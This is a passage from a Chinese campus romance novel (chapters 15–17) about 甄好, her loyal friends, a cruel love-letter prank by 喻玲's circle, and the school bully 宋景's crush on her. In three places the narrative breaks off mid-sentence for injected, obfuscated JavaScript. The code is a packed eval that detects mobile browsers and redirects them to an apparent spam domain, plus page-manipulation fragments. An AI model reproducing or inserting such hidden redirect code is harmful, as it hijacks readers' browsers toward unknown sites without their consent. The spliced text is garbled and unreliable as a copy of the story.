“好好，愣着干吗？”周淳芮又把面包和牛奶往她面前推了推，“再不快点要迟到了。我也给云云带了一份，不知道她吃没吃晚饭。” “那好吧，晚上我请你吃夜宵。”甄好接过东西的同时这样说道。 她总是这样，欠不得别人一点人情。别人对她好一分，她恨不得还十分回去。 周淳芮深知她的性情，是以没有拒绝：“好呀，我要吃炒白粿。” “没问题。”甄好这才撕开面包包装袋，小口小口地吃起来。 面包松软香甜，是甄好吃过的最好吃的，牛奶也是她喝过的最香醇的。 一定不便宜，一碗炒白粿的钱够报答芮芮吗？ 这是吃第一口时，甄好脑子里冒出来的想法。 两人边吃边往教学楼赶。 一是因为的确时间不多了，二是鄢云书没在寝室，她们想赶紧去教室看看她是不是已经提前到了。 学生宿舍与教学楼之间有一小片榕树林，甄好刚走出去就远远看见鄢云书站在教室门口往寝室方向眺望。 “芮芮，云云在那儿。”周淳芮的视力没有甄好的好，甄好不说她没发现鄢云书的身影。 周淳芮叼着吸管，微微眯起眼看向甄好手指的方向，待看清后声音里满是惊喜：“真的是云云！太好了，云云没事！” 鄢云书也看见了她们，一路小跑着朝两人而来，眉眼间的愁思却半点没消散。 她本身就是那种清冷挂的长相，眼睛大但偏细长，驼峰鼻让她的五官更加立体，微薄的唇带点粉，不笑的时候看起来有些冷。 她在甄好两人面前站定，开口便是道歉：“对不起啊，今天我失约了。” “没事没事，你人没事就好。”周淳芮无所谓地拍拍她的肩。 “你吃过晚饭了吗？”甄好转移话题问道。 “还没有。”鄢云书回身指了指教室，“我准备了三份甜点和奶茶，等下上课可以偷偷吃。” “好啊好啊！”周淳芮瞬间觉得嘴里的面包不香了。 她馋鄢云书口中说的的甜点和奶茶，鄢云书是她们三人中对事物最有要求的，挑的定然好吃。 三人正是长身体的年纪，吃下两份甜点饮品对于她们来说不是什么难事。 鄢云书并未说自己为何失约，甄好两人也没有刨根问底。 她们有说有笑地一起走回教室，就像什么都不曾发生过。 上课铃声打响的前一秒，鄢云书刚好给她们分完手里的甜点和奶茶。 奶茶可以放在课桌上正大光明地喝，甜点就只能时不时用课本挡着或者假装趴下，然后偷偷吃一口。 人性挺奇怪的，偷摸着吃好像总是更香。甄好吃完面包牛奶和甜点奶茶，还是觉得意犹未尽。 她开始期待下课，期待再吃上一份香喷喷的炒白粿。 从来到教室看见喻玲的那一刻开始，她就在刻意地忽视对方，表面看起来两人好像没什么变化，实际上那种若有似无的距离感始终存在。 不过她很快没了思考这件事的心思，因为魔鬼数学老师发了三张卷子，并严肃地说道：“试卷（一）明天上课要讲解，请同学们认真完成。” 他一说完，底下就一片怨声载道。 但怨声载道也没用，该做的卷子一张都少不了。 前两节晚自习，甄好都在奋笔疾书中度过。 第二节下课，周淳芮叫她一起去上厕所。走到教室前门时，她下意识看了一眼时序的座位。 时序的座位被安排在讲台旁，传说中的黄金宝座。 平时一下课就不见人影的时序竟然在睡觉。 少年的睡颜大大方方地对着门口，丝毫没有用任何东西遮掩。 连睡觉都那样张扬。 甄好只当他是周末玩疯了，才在下课补觉，并未想太多。 第三节晚自习，她依旧忙于补作业。 直到最后一节课，她总算得以松口气。不仅仅是她，全班同学都差不多，不再像前面三节那样安静，说话的声音甚至慢慢大了起来。 然而—— 突然出现的班主任打破了这闲聊盛世：“我在隔壁班都能听到你们说话的声音，作业都写完了？” 教室顿时鸦雀无声。 好险。 甄好默默地松了一口气。 就在班主任开口的前一秒，她刚想找周淳芮说话，幸好最后改为写字条。 字条刚送到周淳芮手里，班主任就来了。 等确定班主任的身影又神不知鬼不觉地消失了，周淳芮才敢小心翼翼地展开字条，只见上面写着：“帮忙传上去。” 甄好一共写了两张字条，一张是给周淳芮的，另一张则是…… 她抬头看向距离自己五张课桌的少年，眉头微皱。 原本她并不觉得哪里有问题，问题出现在第三节下课，她在走廊和时序打了个照面。对方却像没看见她似的，整个人游魂般地与她擦肩而过。 这样的时序不太对劲。按照他的性格，一定会咧开大白牙，笑着叫她“好好”。 虽说她刻意跟他保持着距离，但怎么说都算是从小一起长大的朋友加同学，她思来想去，还是决定关心一下他。 于是便有了这么一张字条。 这是她第一次主动给时序写字条，内容很简短：“看你脸色不太好，没事吧？” 时序不仅下课趴在桌上，连上课都是一只手撑着脸颊，一只手有一下没一下地转着笔，一副无精打采的模样。 收到字条后，他原本无神的双眼瞬间亮了，笔也不转了，整个人坐得笔直。 正不着痕迹观察他的甄好见他这样，还以为班主任又来了，下意识低下头默背单词：“abandon……” 等她再抬头时，是周淳芮将字条传回给她。 时序的回复也很简短：“我没事，谢谢好好关心我。” 得到他没事的回答，甄好一颗悬着的心也就放下了。 她本想再次对他强调不要叫自己好好，但想了想还是作罢。 一来一回的对话就这样结束了。 从甄好手中开始，也从她手中结束。 在她脑袋放空什么都没想的时候，突然被粉笔砸中额头。 轻微的疼痛缓缓蔓延，她抬头看向前方。 裴小海正一脸笑嘻嘻地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557335|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，嘴上说着抱歉表情却没有一丝歉意：“不好意思啊，手抖，扔歪了。” 他都这样说了，甄好也不好再说什么。 喻玲看了一眼裴小海，两人的眼神有过短暂的相接，又很快错开。 甄好刚垂头准备继续默背单词，又一个粉笔头砸中了她。 她再度抬头，看到的依旧是转过身冲她笑得像一朵菊花的裴小海。 谁知男生还是一样的说法：“抱歉抱歉，又手抖了。你往下趴一趴，我不是要扔你。” 这一次，甄好还是选择忍耐，并且真的如他所说，微微躬身低下头。 但她还没安宁两秒，第三次“爆头”就随之而来。 一次是手抖，两次是手抖，三次还相信是手抖，那她就真的可以去看脑科了。 她终于忍不住站起来：“裴小海，你有完没完？！” 她的声音有些大，引得同学们纷纷将视线投向她。 刚刚的爆发只是一时之间的勇气，等意识到自己完全暴露在全班同学的目光中，甄好整张脸都红了，心也跟着怦怦直跳。 裴小海显然也没想到她会突然大声呵斥出来，整个人一愣，半晌才结结巴巴道：“我……我怎么了？我什么也没干啊……” 说到最后他有些心虚，连看都不敢看甄好。 其实甄好已经后悔站起来了，此时她连手心都微微冒汗。 就在她不知如何回应的时候，周淳芮替她杠了回去：“裴小海，你再欺负我们好好信不信我打你？” “谁……谁欺负她了？！”裴小海梗着脖子否认，却一点说服力都没有。 “算了，懒得跟小人计较。”甄好到底还是打了退堂鼓，说完就重新坐下。 这种备受瞩目的感觉让她浑身别扭，只想快点逃离。 她坐下的同时，也扯了扯周淳芮的校服。 “好好，像这种贝戋男生，你越给他好脸色，他越得寸进尺！”周淳芮回头对她说道。 她说的甄好又何尝不知道，可…… 甄好眼睑微敛，选择息事宁人：“还是算了吧，不想惹一身腥。” 一方面她承认是因为自己怂，怕事；但另一方面也是真觉得像裴小海这种贱贱的性格，跟他结梁子以后有得恶心。 “啊！谁砸我？”裴小海捂着不知被什么砸中的额头，惊呼出声。 周淳芮笑出了声：“活该，这就叫现世报懂不懂？” “周淳芮，你别太嚣张，我告诉你。”裴小海环顾教室，却没看见是谁偷袭了自己。 而偷袭者此时正若无其事地握着没有笔帽的笔认真解题，像是两耳不闻窗外事，一心只读圣贤书的书呆子。 用笔帽扔裴小海的人是鄢云书。 她的动作行云流水，准头极好，一击即中。 这一幕恰巧被甄好收入眼底，一种难以名状的感动之情涌上她心头。 她用笔悄悄戳了戳鄢云书的后背，用气音说道：“谢谢你，云云。” 鄢云书并未回头，只是抬起右手，朝她晃了晃笔帽失踪的水性笔。 甄好的好心情在这支没有笔帽却能够张牙舞爪讨公道的笔中奇迹般转好。 心情好肚子也跟着凑热闹，咕噜叫了两声。 一放学，她就扬起笑脸，对周淳芮和鄢云书说：“走，今晚我请你们吃炒白粿。” 然而她们没能吃成炒白粿，因为三人刚走出教室后门，甄好就被一个人拦住了去路。 15. 自以为是的友谊 今日心情复杂，像吃了泡在柠檬水里的苦瓜，又酸又苦又涩。 ——《甄好日记》 拦住甄好去路的人是欧阳雅雅。 “甄好同学，可不可以给我两分钟的时间？”她的语调一降再降，听起来委屈巴巴的，不知道的还以为是甄好欺负她了。 事实也确实如此，有些还没出教室的同学已经朝她们投来探究的目光。 “好好，我们走，别理她。”上周五回家的路上，周淳芮和鄢云书就听甄好说了情书事件的经过，再看到欧阳雅雅自然没什么好脸色。 甄好本也没打算理会欧阳雅雅。 以喻玲为首的那几个女生都是城里女孩，跟她们到底不是一个世界的人。 之前都是她痴心妄想，这份她自以为的友谊她现在不想要了。 就在她准备无视欧阳雅雅绕过她走出去时，喻玲的声音忽然响起：“雅雅，我不是叫你别来了吗？过去的事就让它过去吧！” 她此话一出，甄好那种被人看热闹的感觉愈加明显。 一种无力的厌恶感再度席卷她全身，她忍无可忍：“够了，你们到底还想怎样？” 戏弄完她一次不够，还要再来一次吗？ “没什么好看的，都走吧，走吧。”周淳芮出声对班里仅剩的几个同学说道。 那几名同学都是只知道读书的乖学生，本就无意卷入这些无聊的纷争，周淳芮这么一说，几人很快便都相继离开。 “清场”的教室给了欧阳雅雅更大的发挥空间：“玲子，你没有必要替我背锅。那些信本来就跟你无关！” “我是牵线人，而且真的伤害到好好了，错就是错了，我不想推脱责任。”喻玲字字句句说得真诚无比。 欧阳雅雅转而对甄好解释：“甄好同学，是我虚荣心作祟，觉得你的字写得漂亮，才自作主张原封不动送了出去，没想到会引起这么大的误会。这一切都是我的问题，你别怪玲子了，好不好？” “哼。”周淳芮冷笑一声，“瞧你这话说得，敢情你们都有苦衷，就我们好好活该吃这个哑巴亏呗？” “我不是这个意思……”欧阳雅雅连忙否认，“我就是看到玲子因为甄好同学而每天郁郁寡欢，觉得心有愧疚，想做点什么挽救一下她们的友情……” 周淳芮实在是听不下去了：“喻玲要是真拿我们好好当朋友，就不会出这档子乌龙，更不需要你来当这个和事佬！你就别在这里猫哭耗子……” “芮芮，我们别跟她们争了。”甄好打断周淳芮的话。 她从没想过这件事还会有这么多后续，此时此刻只想尽快了结它。 于是，她转而面对喻玲和欧阳雅雅：“同桌、欧阳同学，这件事我现在不想追究了，你们说什么就是什么，我谁也不怪，要怪就怪我自己不该写那些信。” 喻玲听了这话，眼睛顿时亮了：“好好，你还愿意叫我同桌是不是代表你不生我气了？” 她脸上的开心太过真实，以至于甄好都忘了自己还在跟她冷战，不自觉就点了头：“嗯，不气了。” 她的确早就不气了，她只是觉得自己被冤枉了，心里憋屈。 就在她点头的一刹那，一片蓝白衣角映入她的眼帘，又快速消失。 不过她也没太过在意，只当是哪个去而复返的同学想回教室，看到她们在争吵又不好意思进来。 总之，甄好和喻玲为期一个周末的冷战就这么莫名其妙地结束了。 回宿舍的路上，周淳芮依旧愤愤不平：“好好，你就是脾气太好了。” 甄好只是笑笑，没有辩解：“今天谢谢芮芮和云云替我出头。” 其实她脾气一点都不好，她只是背后无人依靠，便习惯性地选择隐忍。久而久之，她连自己都骗过了，以为自己真的脾气好。 “啊，我的炒白粿。”周淳芮并不打算在这件事上继续耗费心神，很快将心思又转回到美食上。 “只能明晚吃了。”甄好略带抱歉地说道，“双份。” “好啊好啊，明晚我们一定吃穷你。”周淳芮说着转向鄢云书：“你说对吧？云云。” “嗯。”鄢云书只是言简意赅地回答了一个字。 不过她们都习惯了。 鄢云书话一向不多，这也导致两人都没发现她满腹心事。 喻玲几人说说笑笑地走出学校大门，拐过第一个转角的时候与一个人迎面碰上。 楼知夏的笑容霎时僵在嘴边。 自从参与情书恶作剧，她每每看到师杭与和甄好都会觉得心虚。 这次也不例外，她紧张到手心微微冒汗。 少年冷冷地看了她们一眼，便打算错身而过。 擦肩而过之际，喻玲又用她那听起来温柔且无辜的嗓音叫住了他：“杭与同学——” 师杭与脚步微顿，却并未回头看她：“喻同学有什么事？” 他冷冰冰的语气让喻玲一愣。 愣住的不仅她，连她身边的其他三个女生也有些诧异。 “没有啦。”但喻玲很快反应过来，声音柔柔的，“就是想跟杭与同学道个歉，那些信是我弄错了，你要怪就怪我吧，不要怪好……” 她的话还没说完就被师杭与不耐烦地打断：“我对你们女生之间这些无聊的事情不感兴趣，麻烦以后不要牵扯到我，谢谢。” 说完他便头也不回地走了。 方才她们几人在教室的对话不巧都被他听到了，他这才知道是自己误会甄好了。 喻玲第一次给他送信时，他的讶异直接写在脸上。他以为信是喻玲写的，就连裴小海都一直打趣他：“班花竟然喜欢你！” 但下一秒，师杭与就否定了裴小海的结论：“信不是喻玲写的。” “你怎么知道？”裴小海震惊道。 “因为字迹不是她的。”师杭与一打开信纸，就认出了那手漂亮的字是出自谁人，“是甄好。” 且不说甄好的满分作文被整个年级传阅，主要是她的字体实在特别，让人过目难忘。 “什么啊……”裴小海瞬间失落极了，“你怎么被那个土包子看上了啊……” “裴小海——”师杭与的表情瞬间严肃起来，“你再这样看不起其他同学，我就……” “好啦好啦，知道了。”裴小海及时打断他的谆谆教诲，“你就不认我这个兄弟嘛。甄好同学最洋气了，才不是土包子，满意了吗？兄弟。” 师杭与无奈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557336|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头，对着手里的信有些发愁。 后来连续不断的信更是让他不知所措。 他不知如何回应，却也不想伤害一个少女的真心，所以他只是将那些信一封一封地收好，并未提笔回信。 直到喻玲突然告诉他：“不好意思啊，杭与同学，之前的信你就当没看过。真的对不起，是我们弄错对象了，其实那些信……” “那些信怎么了？”师杭与见她久久不说下文，开口问道。 “那些信其实不是给你的，是我弄错对象了。”喻玲说得模棱两可，“都怪我，我不该帮这个忙。实在很抱歉，对你造成困扰了。杭与同学，你要怪就怪我吧，不要怪好好，这一切跟她没关系。” 听到喻玲这样说，师杭与感觉自己一直被当猴耍，愤怒在一瞬间战胜了理智。 少年那莫名其妙的自尊心架不住被人故意表错情。 他看起来像是缺那几封情书的人吗？ 他怒气冲冲地回教室取出那些被他码得整整齐齐的信，当面扔给了甄好，还说了那样伤人的一句话。 走在路上的师杭与回忆起这些，心里五味杂陈。 而喻玲看着少年渐渐远去的身影，秀眉始终皱着。 欧阳雅雅口无遮拦，将心里的疑问说了出来：“玲子，你不是说师杭与同学暗恋你吗？怎么对你这样冷冰冰的……” 这也是喻玲不理解的。 她的感觉不会出错的，师杭与喜欢他这件事是毋庸置疑的。 “雅雅，你懂什么？”欧阳雅美说得头头是道，“现在的臭男生不都这样？都喜欢摆着一张扑克脸，对谁都冷冷淡淡的，尤其是对喜欢的女生更加爱搭不理，好像这样更酷更帅似的。” “你说得好有道理。”欧阳雅雅若有所思，“好像真的是这么回事。” 喻玲则有些心烦意乱：“我管他喜不喜欢我，我缺他喜欢吗？” “就是。”欧阳雅雅狗腿道，“咱们玲子这么漂亮，追你的人排到英东街都不够地儿站呢。” 对于她的话，喻玲没有给出回应，而是沉浸在自己的思绪当中。 一个可怕的想法在她脑海中形成。 既然宋景喜欢甄好，甄好又喜欢师杭与，而师杭与喜欢自己，那么…… 想好对策的喻玲一扫郁闷的心情，笑容重新绽放。 她是无意间发现甄好暗恋师杭与这个秘密的，一开始她并没想拿这件事做文章，直到得知宋景真正属意的人竟是甄好，疯狂的嫉妒让她直接失去了理智。 她温柔地笑着，用轻柔的声音说出一个恶毒的计划：“哎，有件事需要你们帮忙。我和宋景有没有戏就靠你们了。” 听完她的计划后，欧阳雅美显得兴致勃勃：“玩这么大？我喜欢。” 欧阳雅雅从来都是选择无条件支持喻玲和自家阿姐：“需要我做什么随时叫我。” 只有楼知夏眉头紧皱。 她不喜欢这种恶作剧，可是她没有说“不”的勇气。 另一边，鄢云书终于决定将自己的烦恼告诉甄好二人：“好好、芮芮，我有个坏消息要告诉你们。” 看着她一副快要哭出来的模样，甄好和周淳芮一颗心瞬间提到嗓子眼。 16. 不能一起上下学 我在十三岁这年撒下梦想的种子，期盼它能开花结果。 ——《甄好日记》 “云云，你别吓我。”周淳芮被鄢云书严肃的表情吓到，“是不是真到坏消息这么严重啊？” 她夸张的表情一出，鄢云书反倒放松了些许：“其实也没有那么坏，就是……就是……” 她一时不知该怎么说出口。 “云云，你再吊我胃口等下该帮我掐人中了。”周淳芮都快急死了。 “云云，你直接说吧。”甄好安抚鄢云书，“有什么事我们一起想办法，三个臭皮匠顶个诸葛亮嘛。” 鄢云书深吸一口气，才娓娓道来：“今天下午我不是失约了嘛，首先很抱歉，让你们久等了，也让你们担心了。我不是故意爽约的，是因为我爸爸开车送我来学校了，并且他说……他说……” “云云，你再这样说话我就掐死好好，再去自首。”周淳芮急坏了。 甄好：“……” 周淳芮总是有这种本事，轻而易举就让紧张的氛围变得轻松下来。鄢云书紧绷的神经在她的玩笑中放松了不少，难以说出口的话也自然而然地说了出来：“我爸给我定了张叔家的车，所以以后我们不能一起上下学了。” 张叔是镇里跑车的，主要承接一些接送业务，包括但不限于送货接人，最近承包了一项接送附近人家的孩子上下学的活计。 每周五到三中接人回家，周日下午再送孩子上学，费用是一个月一百五十元。 这对于甄好家来说称得上是一笔巨款，她一个月的生活费都还没超过一百元，自然没有机会坐张叔的车。 “我爸觉得我骑单车上下学不安全，所以……”鄢云书其实很想反抗，但鄢识向来说一不二，她不用试都知道结果如何。 “嗐，我还以为多大的事呢。”周淳芮摆摆手，“云云，我们只是不能一起上下学了，又不是见不到面了，别把事情想得那么糟糕。” “可是我们之前说好要一起的……”鄢云书是很典型的道德感极强型人格，光是说到没做到就让她自责到不行。 “云云，不管我们将来如何，我们的心都是在一起的。”一向大大咧咧的周淳芮难得说了句这样矫情的话。 说完她自己都觉得有些难为情：“哎呀，反正这事在我们这里根本不叫事，对吧，好好？” 甄好赞同地点头：“芮芮说的也是我想说的。” 在她们的安慰下，鄢云书总算从白天那种郁闷的情绪中挣脱出来，三人之间又变回之前轻松谈笑的氛围。 聊到最后，甄好忽然想起来一件事：“对了，明天晚上恐怕不能和你们一起吃炒白粿了。” “是不是那几个讨厌的女生又找你麻烦了？”周淳芮一脸紧张地看着甄好。 按理说不应该，但也不排除在她错眼之际，她们之中有谁对甄好说了什么。 “不是，不关她们的事。”甄好被她的反应逗笑，“我们改明天中午吃炒白粿好不好？明天我想让你们陪我去两个地方。” 周淳芮自是举双手赞成：“好啊好啊，我没意见。” “我也没问题。”鄢云书跟着道。 “不过为什么是两个地方？”周淳芮不解道，“除了去秋先生那里，还要去哪儿？” 甄好神秘道：“明天你就知道了。” “好你个臭好好，明知道我好奇心重，还这么对我！”周淳芮说着伸手轻掐住甄好的脖子，“我真的要掐死你，然后去自首，我说到做到我告诉你……” 甄好损她：“你说到做到？你明天先按时起床再说这话吧。” “啊啊啊！云云，你看她！”周淳芮抓着鄢云书哭诉，“好好欺负我。” 三个女孩子在打闹中不知不觉又加深了友情，天上的明月为鉴。 虽说情书事件暂告一段落，但人们心中的成见是一座大山，仍旧有不少人在谣传甄好暗恋师杭与，觉得她不自量力，竟然喜欢年级最受欢迎的男生之一。 只有甄好心里清楚那不是谣传，她是真的喜欢师杭与，并且十分没出息地因为自己的名字能时不时和他的一起出现，并被讨论而感到一丝丝窃喜。 这种隐秘的欢愉是难以言喻的，既上头又心慌。 毕竟偷来的东西始终不是自己的，欢乐也一样。 这导致她比平时更不敢直面师杭与，总是躲着他走。 而师杭与因为自己误会她一事，心里一直惴惴不安，也有意无意地躲着她。 如此一来，两人虽然在同一个教室上课，碰面的机会却少之又少。 上语文课的时候，甄好盯着少年的背影发呆。 老师在讲台上讲语法的使用，甄好在脑子里思考少年是不是真的像别人说的——喜欢喻玲。 “同桌——” 她神游之际隐约听到有人在叫自己。 “同桌——”那人又喊了她一声。 甄好这才彻底回过神。 是喻玲在叫她。 “怎么了？”突然被正主之一叫到，甄好有些心虚。 “一起去厕所吗？”喻玲弯着眼眸看她，笑得一脸无害。 闻言，甄好抬头看了一眼讲台。 上面早就没了班主任的身影。 原来已经下课了啊。 “好啊。”甄好没有拒绝喻玲的邀请。 她们走出教室后，周淳芮学着喻玲的语气，对鄢云书说：“同桌，一起去厕所吗？” 声音发嗲之余，还带着刻意的亲昵。 鄢云书有些不适应地搓了搓手臂，一脸认真地问道：“芮芮，可以商量件事吗？” 周淳芮不疑有他：“云云请说。” “可不可以不要捏着嗓子对我说话？我难受……”鄢云书毫不客气地说出自己的感受。 周淳芮：“……” 她发现自己最近有□□倾向，因为她不仅想掐死甄好，还想掐死鄢云书。 “云云，你不爱我了。”最后，周淳芮开始耍赖皮，“人家难得撒娇，你竟然这样说人家，人家好伤心啊……” 鄢云书：“……” 走去厕所的路上，喻玲有意无意地聊起一个人：“好好，你觉得宋景这个人怎么样啊？” “宋景？”甄好有些讶异她突然提起这个人，“我跟他不熟，不好评价。” 这是实话。 她的确跟宋景这人不熟。 “哦，这样啊。”喻玲假装无所谓地回了这么一句。 “怎么了，突然说起他？”甄好顺着话题问道。 “没怎么。”喻玲又露出她那招牌式温柔笑容，“就是随便聊聊。” 随便聊聊的喻玲在等一个时机，等一个让甄好伤心难过的时机。 而甄好，对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557337|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于喻玲心里所想的一切一无所知，依旧当她是那个善良漂亮的同桌。 上午一放学，周淳芮就迫不及待地问甄好：“好好，你到底要我们陪你去什么地方？快说快说。” 她可是忍了一晚上又忍了一个上午，好奇心已然达到顶峰。 甄好有些不好意思地拿出一个信封，郑重其事地说道：“去邮局。” 这件事她谁都没告诉，包括周淳芮和鄢云书到此刻都还不清楚她具体要做什么。 鄢云书看到信封上的收件人，有些惊讶又觉得合情合理。 倒是周淳芮微微瞪大双眼，直接念了出来：“译林杂志？” “嘘，你小点声。”甄好忙拉了一下周淳芮的校服袖子，“我想试试，但不知道结果怎样。” 这本杂志是全国发行第一的刊物，尤其受中学生青睐。在看到它举办征文比赛的那一刻起，甄好就决定参加。 不管结果如何，她都想给自己一个尝试的机会。 “好好，你一定可以的，我支持你！”反应过来的周淳芮眼睛都亮了，“等将来你成为大作家了，我就可以骄傲地告诉所有人，我有一个作家朋友，肯定倍有面！” “这才哪儿到哪儿呢？”甄好无奈极了，“你就开始做梦了。” “梦想总是要有的嘛，万一实现了呢？”周淳芮才不在乎那么多，“反正我相信你。” 邮局就在学校五百米的地方，她们很快便到了。 甄好虔诚且珍重地将信封投进信筒里，又在原地站了几秒，才缓缓吐出一口气：“好了，梦想投递成功。” “为了庆祝好好走出梦想第一步，我们去吃炒白粿吧，我请客！”周淳芮豪气道。 甄好不同意：“说好我请客的。” “哎呀，我们什么关系？不要在意这些细节。”周淳芮笑得眯起眼睛，“大不了你下次再请，反正今天我请定了。” “你们别争了，今天我请。”鄢云书横插一脚。 “这样吧，我们轮流。”周淳芮很快想到了一个绝佳的办法，“一三我请客，二四云云请客，星期五轮到好好。今天周一，该我请。怎么样，我是不是巨聪明？” 甄好一听，更不同意了：“为什么我只分到一天？” 周淳芮给出了一个十分合理的理由：“因为你每次都吃得最少，所以就这么愉快地决定了。” 鄢云书笑着点头：“同意。” 甄好：“……” 她感觉好像哪里不太对劲，但是她说不出来。 在她们因为谁请客而争论不休的时候，喻玲请欧阳雅美姐妹俩和楼知夏下馆子去了。 都是长个子的时候，四个女生点了一大桌菜，惊得服务员小心翼翼地重复：“建议一人一菜，避免浪费哟。” 欧阳雅雅大手一挥：“放心放心，浪费不了一点。” 服务员这才放心地下单去了。 几人落座后，都各自拿出了手机。 楼知夏的手机是新买的，她和阿姐一人一部。 以楼父的收入水平是断然不可能一下子买得起两部手机的，所以不用问楼知夏都知道一定是那个叔叔送的。 面对朋友的询问，她也总是这样回答：“是一个做生意的叔叔买的。” “玲子，玲子！”欧阳雅美突然激动道，“根据可靠消息，宋景同学下午将重返学校！” 17. 在告别仪式下跪 爷爷，我会一直想念你。 无论晴天雨天，无论白天黑夜。 ——《甄好日记》 欧阳雅美提起宋景的同时，周淳芮也收到了消息：“哎，听说宋景那家伙下午要返校了。” 这是甄好两个小时内第二次听见有人提起这个人，不由得反问：“所以呢？” 她虽然和宋景不熟，但对此人可以称得上印象深刻。 开学第一天，她正好撞见他凶人的模样。可不过两分钟，他们在新教室再次相遇，他却是一副温润如玉的少爷模样。 前后反差实在过大，以至于甄好觉得他整个人都很割裂，不知哪一面才是真正的他。 不过她不在乎，也不想知道。 像宋景这种看起来就家境优渥的人，注定不会在她的人生里留下什么浓墨重彩的足迹。 在那之后，她也的确没有和他产生过什么交集。如果非要说有，可能是她又一次撞见他一脸凶巴巴对着人说狠话。 承受他怒火的那个男生满脸不服：“有本事打一架啊！你个小矮子。” 此时只有甄好一个女生路过，宋景本就高傲的性子更加听不得“小矮子”这三个字，觉得自己受到了成倍的侮辱。就在他奓毛的前一秒，一道比冰还冷的声音先响起。 甄好也不知是哪里来的勇气，冷冷地嘲讽：“宋同学将来会不会比你高不好说，但你这种揭人短板的人长得再高也是思想侏儒。” 她平生最讨厌别人拿外貌说事，心里那种厌恶的感觉一上来就压抑不下去，等她反应过来的时候，话已经像倒豆子一样倒了出来。 宋景愣住了，毛都忘记奓了。 那个男生也愣住了，眼睛都忘了眨。 被两个男生直勾勾地盯着，甄好才后知后觉地感到难为情。 她逃避这种难堪的办法是转身就走，当自己从没出现过。 而她的行为在宋景二人眼中变成了—— “她好冷漠。” “她嘴好毒。” 后来又发生了什么，甄好自然不得而知，她只知道在得知宋景是三中小霸王，俗称校霸后，她感到些许害怕。 她听过很多关于校霸的传闻，也看过群架现场。那种椅子腿乱飞，打到头皮血流的画面实在是过于触目惊心，她只想好好读书，不想惹祸上身。 所以她之后见了宋景都绕道走。 直到开学第四周，宋景的座位空了。 校霸为什么没来上课，学校里传出诸多流言，有说他跟人打架打狠了把自己送进医院了；也有说他纯粹是不想上课了干脆请假不来；更夸张的是有人说他失恋了，每天在家里哭…… 听着这些不靠谱的传言，甄好脑海里忍不住浮现宋景听见后奓毛的模样，想着想着不自觉笑出了声。 当时周淳芮还问她想什么笑得那么开心，她随便找了个理由搪塞过去了。 这一次周淳芮的回答听起来也挺像搪塞她的：“没有所以，就是关心一下同班同学。” 说话间，三份炒白粿已经陆续被端了上来。 不知是谁的肚子适时叫了一声，三人相视而笑，继而对着美食大快朵颐起来。 只是吃着吃着，甄好总觉得有一道目光若有似无地落在自己身上。等她真正去寻的时候，又什么都没看到。 她也只当是自己疑心病犯了，继续埋头享用午餐。 距离甄好她们三桌之远的桌子，三个男生正在等菜上。 “景哥，今天怎么想到来这小店吃饭？”邹晓伟略显嫌弃地环视一圈只能容纳五套桌椅的店子。 陶文灿也跟着道：“是啊，这不像景哥的风格啊。” 宋景坐在两人对面，他身形瘦癯，正好被邹晓伟伟岸的身姿挡了个严严实实，是以甄好没发现他的存在。 店里吵吵嚷嚷的，说话不刻意去听和加大音量，基本上听不清别桌的人在说什么。 “你们懂什么？”宋景懒得解释，“小爷我就爱来这里吃。” 陶文灿一个不经意的回头间，看见了熟悉的人。 他顿时福至心灵：“不是吧，景哥你来真的啊？” “来什么真的？”邹晓伟不明所以。 “就那谁……”陶文灿压低声音道，“黑妹也在。” “黑妹”是他们在小学时给甄好取的外号。 刚上小学的甄好，皮肤因为晒了一整个夏天，比班里的其他女生都黑。几个调皮的男生就开始“黑妹黑妹”地叫她，其中就包括邹晓伟和陶文灿。 邹晓伟听了陶文灿的话随之转过头，果真看到正低头吃饭的甄好。 “景哥，你是认真的啊？”回过头的邹晓伟觉得宋景果真人傻钱多，“你真看上黑妹了？” 宋景的脸顿时黑了下来：“什么黑妹不黑妹的？好好妹妹皮肤白着呢。” 邹晓伟两人同时被“好好妹妹”四个字激得起了一身鸡皮疙瘩。 “好好妹妹将来是要当你们嫂子的，都给我客气点。”宋景最后如是总结道。 “知道了，景哥。”两人不情不愿地应道。 一想到要叫那个土包子黑妹“嫂子”，邹晓伟就浑身不自在。 有钱人的品位果然独特，竟然好甄好这口。 他到底还是没忍住问道：“景哥，我很好奇一个问题。” “说。”宋景漫不经心道。 “你说你到底是看上她哪里了？”邹晓伟细数着甄好的缺点，“她长得不是班里最漂亮的，家境也很一般，尤其是那张脸，都不带笑的，整得每个人都欠了她八百万似的……” 发觉宋景的脸色越来越难看后，邹晓伟总算住了嘴。 